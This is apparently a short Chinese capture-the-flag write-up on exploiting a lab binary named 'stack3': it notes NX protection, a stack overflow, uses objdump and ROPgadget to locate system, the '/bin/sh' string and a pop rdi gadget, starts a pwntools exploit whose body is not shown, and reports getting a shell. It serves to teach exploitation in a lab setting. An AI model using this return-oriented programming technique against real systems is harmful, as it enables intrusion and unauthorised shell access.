文件类型是 64 位 ELF。
开了 NX 保护。
用 IDA64 查看一下:
可以看到可以栈溢出。
1 | objdump -d stack3 | grep 'plt' |
可以看到有 system 函数,地址为 0x400600
。
1 | ROPgadget --binary stack3 --string '/bin/sh' |
可以看到有字符串 “/bin/sh”,地址为 0x4008a4
。
由于是 64 位,参数先保存在 RDI
,RSI
,RDX
,RCX
,R8
,R9
,然后才是栈。
查看是否有可利用的 gadgets:
1 | ROPgadget --binary stack3 --only 'pop|ret' | grep 'rdi' |
找到一条。
那么可以构造 exp 了:
1 | from pwn import * |
可以看到成功拿到 shell。